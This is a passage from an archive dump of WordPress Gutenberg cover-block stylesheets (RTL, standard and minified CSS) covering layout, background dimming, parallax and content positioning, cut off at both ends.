.wp-block-cover__inner-container, .wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container, .wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container, .wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container { margin: 0; width: auto; } .wp-block-cover-image .wp-block-cover__image-background, .wp-block-cover-image video.wp-block-cover__video-background, .wp-block-cover .wp-block-cover__image-background, .wp-block-cover video.wp-block-cover__video-background { position: absolute; top: 0; right: 0; left: 0; bottom: 0; margin: 0; padding: 0; width: 100%; height: 100%; max-width: none; max-height: none; object-fit: cover; outline: none; border: none; box-shadow: none; } .wp-block-cover-image .wp-block-cover__embed-background, .wp-block-cover .wp-block-cover__embed-background { position: absolute; top: 0; right: 0; left: 0; bottom: 0; margin: 0; padding: 0; width: 100%; height: 100%; max-width: none; max-height: none; outline: none; border: none; box-shadow: none; pointer-events: none; } .wp-block-cover-image .wp-block-cover__embed-background .wp-block-embed__wrapper, .wp-block-cover .wp-block-cover__embed-background .wp-block-embed__wrapper { position: absolute; top: 0; right: 0; left: 0; bottom: 0; margin: 0; padding: 0; width: 100%; height: 100%; } .wp-block-cover-image .wp-block-cover__embed-background iframe, .wp-block-cover-image .wp-block-cover__embed-background .wp-block-embed__wrapper iframe, .wp-block-cover .wp-block-cover__embed-background iframe, .wp-block-cover .wp-block-cover__embed-background .wp-block-embed__wrapper iframe { position: absolute; top: 50%; right: 50%; width: 100vw; height: 100vh; min-width: 100%; min-height: 100%; transform: translate(50%, -50%); pointer-events: none; } .wp-block-cover-image.has-parallax, .wp-block-cover.has-parallax, .wp-block-cover__image-background.has-parallax, video.wp-block-cover__video-background.has-parallax { background-attachment: fixed; background-size: cover; background-repeat: no-repeat; } @supports (-webkit-touch-callout: inherit) { .wp-block-cover-image.has-parallax, .wp-block-cover.has-parallax, .wp-block-cover__image-background.has-parallax, video.wp-block-cover__video-background.has-parallax { background-attachment: scroll; } } @media (prefers-reduced-motion: reduce) { .wp-block-cover-image.has-parallax, .wp-block-cover.has-parallax, .wp-block-cover__image-background.has-parallax, video.wp-block-cover__video-background.has-parallax { background-attachment: scroll; } } .wp-block-cover-image.is-repeated, .wp-block-cover.is-repeated, .wp-block-cover__image-background.is-repeated, video.wp-block-cover__video-background.is-repeated { background-repeat: repeat; background-size: auto; } section.wp-block-cover-image h2, .wp-block-cover-image-text, .wp-block-cover-text { color: #fff; } section.wp-block-cover-image h2 a, section.wp-block-cover-image h2 a:hover, section.wp-block-cover-image h2 a:focus, section.wp-block-cover-image h2 a:active, .wp-block-cover-image-text a, .wp-block-cover-image-text a:hover, .wp-block-cover-image-text a:focus, .wp-block-cover-image-text a:active, .wp-block-cover-text a, .wp-block-cover-text a:hover, .wp-block-cover-text a:focus, .wp-block-cover-text a:active { color: #fff; } .wp-block-cover-image .wp-block-cover.has-left-content { justify-content: flex-start; } .wp-block-cover-image .wp-block-cover.has-right-content { justify-content: flex-end; } section.wp-block-cover-image.has-left-content > h2, .wp-block-cover-image.has-left-content .wp-block-cover-image-text, .wp-block-cover.has-left-content .wp-block-cover-text { margin-right: 0; text-align: right; } section.wp-block-cover-image.has-right-content > h2, .wp-block-cover-image.has-right-content .wp-block-cover-image-text, .wp-block-cover.has-right-content .wp-block-cover-text { margin-left: 0; text-align: left; } section.wp-block-cover-image > h2, .wp-block-cover-image .wp-block-cover-image-text, .wp-block-cover .wp-block-cover-text { font-size: 2em; line-height: 1.25; z-index: 1; margin-bottom: 0; max-width: 840px; padding: 0.44em; text-align: center; } :where(.wp-block-cover:not(.has-text-color)), :where(.wp-block-cover-image:not(.has-text-color)) { color: #fff; } :where(.wp-block-cover.is-light:not(.has-text-color)), :where(.wp-block-cover-image.is-light:not(.has-text-color)) { color: #000; } :root :where(.wp-block-cover p:not(.has-text-color)), :root :where(.wp-block-cover h1:not(.has-text-color)), :root :where(.wp-block-cover h2:not(.has-text-color)), :root :where(.wp-block-cover h3:not(.has-text-color)), :root :where(.wp-block-cover h4:not(.has-text-color)), :root :where(.wp-block-cover h5:not(.has-text-color)), :root :where(.wp-block-cover h6:not(.has-text-color)) { color: inherit; } body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background + .wp-block-cover__inner-container)) .wp-block-cover__video-background { z-index: 0; } body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background + .wp-block-cover__inner-container)) .wp-block-cover__embed-background { z-index: 0; } body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background + .wp-block-cover__inner-container)) .wp-block-cover__image-background { z-index: 0; } body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background + .wp-block-cover__inner-container)).has-background-dim:not(.has-background-gradient)::before, body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background + .wp-block-cover__inner-container)) .wp-block-cover__background, body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background + .wp-block-cover__inner-container)) .wp-block-cover__gradient-background { z-index: 1; } body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background + .wp-block-cover__inner-container)) .wp-block-cover__inner-container { z-index: 1; } .has-modal-open body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background + .wp-block-cover__inner-container)) .wp-block-cover__inner-container { z-index: auto; } cover/style.css 0000644 00000054407 15217610761 0007554 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-cover-image, .wp-block-cover { min-height: 430px; padding: 1em; position: relative; background-position: center center; display: flex; justify-content: center; align-items: center; overflow: hidden; overflow: clip; box-sizing: border-box; /*rtl:raw: direction: ltr; */ /** * Set a default background color for has-background-dim _unless_ it includes another * background-color class (e.g. has-green-background-color). The presence of another * background-color class implies that another style will provide the background color * for the overlay. * * See: * - Issue with background color specificity: https://github.com/WordPress/gutenberg/issues/26545 * - Issue with alternative fix: https://github.com/WordPress/gutenberg/issues/26545 */ } .wp-block-cover-image.has-background-dim:not([class*=-background-color]), .wp-block-cover-image .has-background-dim:not([class*=-background-color]), .wp-block-cover.has-background-dim:not([class*=-background-color]), .wp-block-cover .has-background-dim:not([class*=-background-color]) { background-color: #000; } .wp-block-cover-image .has-background-dim.has-background-gradient, .wp-block-cover .has-background-dim.has-background-gradient { background-color: transparent; } .wp-block-cover-image.has-background-dim::before, .wp-block-cover.has-background-dim::before { content: ""; background-color: inherit; } .wp-block-cover-image.has-background-dim:not(.has-background-gradient)::before, .wp-block-cover-image .wp-block-cover__background, .wp-block-cover-image .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim:not(.has-background-gradient)::before, .wp-block-cover .wp-block-cover__background, .wp-block-cover .wp-block-cover__gradient-background { position: absolute; top: 0; left: 0; bottom: 0; right: 0; opacity: 0.5; } .wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background { opacity: 0.1; } .wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background { opacity: 0.2; } .wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background { opacity: 0.3; } .wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background { opacity: 0.4; } .wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background { opacity: 0.5; } .wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background { opacity: 0.6; } .wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background { opacity: 0.7; } .wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background { opacity: 0.8; } .wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background { opacity: 0.9; } .wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient)::before, .wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background, .wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background, .wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient)::before, .wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background, .wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background { opacity: 1; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0 { opacity: 0; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10 { opacity: 0.1; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20 { opacity: 0.2; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30 { opacity: 0.3; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40 { opacity: 0.4; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50 { opacity: 0.5; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60 { opacity: 0.6; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70 { opacity: 0.7; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80 { opacity: 0.8; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90 { opacity: 0.9; } .wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100, .wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100, .wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100, .wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100 { opacity: 1; } .wp-block-cover-image.alignleft, .wp-block-cover-image.alignright, .wp-block-cover.alignleft, .wp-block-cover.alignright { max-width: 420px; width: 100%; } .wp-block-cover-image.aligncenter, .wp-block-cover-image.alignleft, .wp-block-cover-image.alignright, .wp-block-cover.aligncenter, .wp-block-cover.alignleft, .wp-block-cover.alignright { display: flex; } .wp-block-cover-image .wp-block-cover__inner-container, .wp-block-cover .wp-block-cover__inner-container { position: relative; width: 100%; color: inherit; /*rtl:raw: direction: rtl; */ } .wp-block-cover-image.is-position-top-left, .wp-block-cover.is-position-top-left { align-items: flex-start; justify-content: flex-start; } .wp-block-cover-image.is-position-top-center, .wp-block-cover.is-position-top-center { align-items: flex-start; justify-content: center; } .wp-block-cover-image.is-position-top-right, .wp-block-cover.is-position-top-right { align-items: flex-start; justify-content: flex-end; } .wp-block-cover-image.is-position-center-left, .wp-block-cover.is-position-center-left { align-items: center; justify-content: flex-start; } .wp-block-cover-image.is-position-center-center, .wp-block-cover.is-position-center-center { align-items: center; justify-content: center; } .wp-block-cover-image.is-position-center-right, .wp-block-cover.is-position-center-right { align-items: center; justify-content: flex-end; } .wp-block-cover-image.is-position-bottom-left, .wp-block-cover.is-position-bottom-left { align-items: flex-end; justify-content: flex-start; } .wp-block-cover-image.is-position-bottom-center, .wp-block-cover.is-position-bottom-center { align-items: flex-end; justify-content: center; } .wp-block-cover-image.is-position-bottom-right, .wp-block-cover.is-position-bottom-right { align-items: flex-end; justify-content: flex-end; } .wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container, .wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container { margin: 0; } .wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container, .wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container, .wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container, .wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container, .wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container, .wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container, .wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container, .wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container, .wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container, .wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container, .wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container, .wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container { margin: 0; width: auto; } .wp-block-cover-image .wp-block-cover__image-background, .wp-block-cover-image video.wp-block-cover__video-background, .wp-block-cover .wp-block-cover__image-background, .wp-block-cover video.wp-block-cover__video-background { position: absolute; top: 0; left: 0; right: 0; bottom: 0; margin: 0; padding: 0; width: 100%; height: 100%; max-width: none; max-height: none; object-fit: cover; outline: none; border: none; box-shadow: none; } .wp-block-cover-image .wp-block-cover__embed-background, .wp-block-cover .wp-block-cover__embed-background { position: absolute; top: 0; left: 0; right: 0; bottom: 0; margin: 0; padding: 0; width: 100%; height: 100%; max-width: none; max-height: none; outline: none; border: none; box-shadow: none; pointer-events: none; } .wp-block-cover-image .wp-block-cover__embed-background .wp-block-embed__wrapper, .wp-block-cover .wp-block-cover__embed-background .wp-block-embed__wrapper { position: absolute; top: 0; left: 0; right: 0; bottom: 0; margin: 0; padding: 0; width: 100%; height: 100%; } .wp-block-cover-image .wp-block-cover__embed-background iframe, .wp-block-cover-image .wp-block-cover__embed-background .wp-block-embed__wrapper iframe, .wp-block-cover .wp-block-cover__embed-background iframe, .wp-block-cover .wp-block-cover__embed-background .wp-block-embed__wrapper iframe { position: absolute; top: 50%; left: 50%; width: 100vw; height: 100vh; min-width: 100%; min-height: 100%; transform: translate(-50%, -50%); pointer-events: none; } .wp-block-cover-image.has-parallax, .wp-block-cover.has-parallax, .wp-block-cover__image-background.has-parallax, video.wp-block-cover__video-background.has-parallax { background-attachment: fixed; background-size: cover; background-repeat: no-repeat; } @supports (-webkit-touch-callout: inherit) { .wp-block-cover-image.has-parallax, .wp-block-cover.has-parallax, .wp-block-cover__image-background.has-parallax, video.wp-block-cover__video-background.has-parallax { background-attachment: scroll; } } @media (prefers-reduced-motion: reduce) { .wp-block-cover-image.has-parallax, .wp-block-cover.has-parallax, .wp-block-cover__image-background.has-parallax, video.wp-block-cover__video-background.has-parallax { background-attachment: scroll; } } .wp-block-cover-image.is-repeated, .wp-block-cover.is-repeated, .wp-block-cover__image-background.is-repeated, video.wp-block-cover__video-background.is-repeated { background-repeat: repeat; background-size: auto; } section.wp-block-cover-image h2, .wp-block-cover-image-text, .wp-block-cover-text { color: #fff; } section.wp-block-cover-image h2 a, section.wp-block-cover-image h2 a:hover, section.wp-block-cover-image h2 a:focus, section.wp-block-cover-image h2 a:active, .wp-block-cover-image-text a, .wp-block-cover-image-text a:hover, .wp-block-cover-image-text a:focus, .wp-block-cover-image-text a:active, .wp-block-cover-text a, .wp-block-cover-text a:hover, .wp-block-cover-text a:focus, .wp-block-cover-text a:active { color: #fff; } .wp-block-cover-image .wp-block-cover.has-left-content { justify-content: flex-start; } .wp-block-cover-image .wp-block-cover.has-right-content { justify-content: flex-end; } section.wp-block-cover-image.has-left-content > h2, .wp-block-cover-image.has-left-content .wp-block-cover-image-text, .wp-block-cover.has-left-content .wp-block-cover-text { margin-left: 0; text-align: left; } section.wp-block-cover-image.has-right-content > h2, .wp-block-cover-image.has-right-content .wp-block-cover-image-text, .wp-block-cover.has-right-content .wp-block-cover-text { margin-right: 0; text-align: right; } section.wp-block-cover-image > h2, .wp-block-cover-image .wp-block-cover-image-text, .wp-block-cover .wp-block-cover-text { font-size: 2em; line-height: 1.25; z-index: 1; margin-bottom: 0; max-width: 840px; padding: 0.44em; text-align: center; } :where(.wp-block-cover:not(.has-text-color)), :where(.wp-block-cover-image:not(.has-text-color)) { color: #fff; } :where(.wp-block-cover.is-light:not(.has-text-color)), :where(.wp-block-cover-image.is-light:not(.has-text-color)) { color: #000; } :root :where(.wp-block-cover p:not(.has-text-color)), :root :where(.wp-block-cover h1:not(.has-text-color)), :root :where(.wp-block-cover h2:not(.has-text-color)), :root :where(.wp-block-cover h3:not(.has-text-color)), :root :where(.wp-block-cover h4:not(.has-text-color)), :root :where(.wp-block-cover h5:not(.has-text-color)), :root :where(.wp-block-cover h6:not(.has-text-color)) { color: inherit; } body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background + .wp-block-cover__inner-container)) .wp-block-cover__video-background { z-index: 0; } body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background + .wp-block-cover__inner-container)) .wp-block-cover__embed-background { z-index: 0; } body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background + .wp-block-cover__inner-container)) .wp-block-cover__image-background { z-index: 0; } body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background + .wp-block-cover__inner-container)).has-background-dim:not(.has-background-gradient)::before, body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background + .wp-block-cover__inner-container)) .wp-block-cover__background, body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background + .wp-block-cover__inner-container)) .wp-block-cover__gradient-background { z-index: 1; } body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background + .wp-block-cover__inner-container)) .wp-block-cover__inner-container { z-index: 1; } .has-modal-open body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background + .wp-block-cover__inner-container)) .wp-block-cover__inner-container { z-index: auto; } cover/style-rtl.min.css 0000644 00000047502 15217610761 0011133 0 ustar 00 .wp-block-cover,.wp-block-cover-image{align-items:center;background-position:50%;box-sizing:border-box;direction:ltr;display:flex;justify-content:center;min-height:430px;overflow:hidden;overflow:clip;padding:1em;position:relative}.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){background-color:#000}.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{background-color:initial}.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{background-color:inherit;content:""}.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{bottom:0;left:0;opacity:.5;position:absolute;right:0;top:0}.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{opacity:.1}.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{opacity:.2}.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{opacity:.3}.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{opacity:.4}.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{opacity:.6}.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{opacity:.7}.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{opacity:.8}.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{opacity:.9}.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 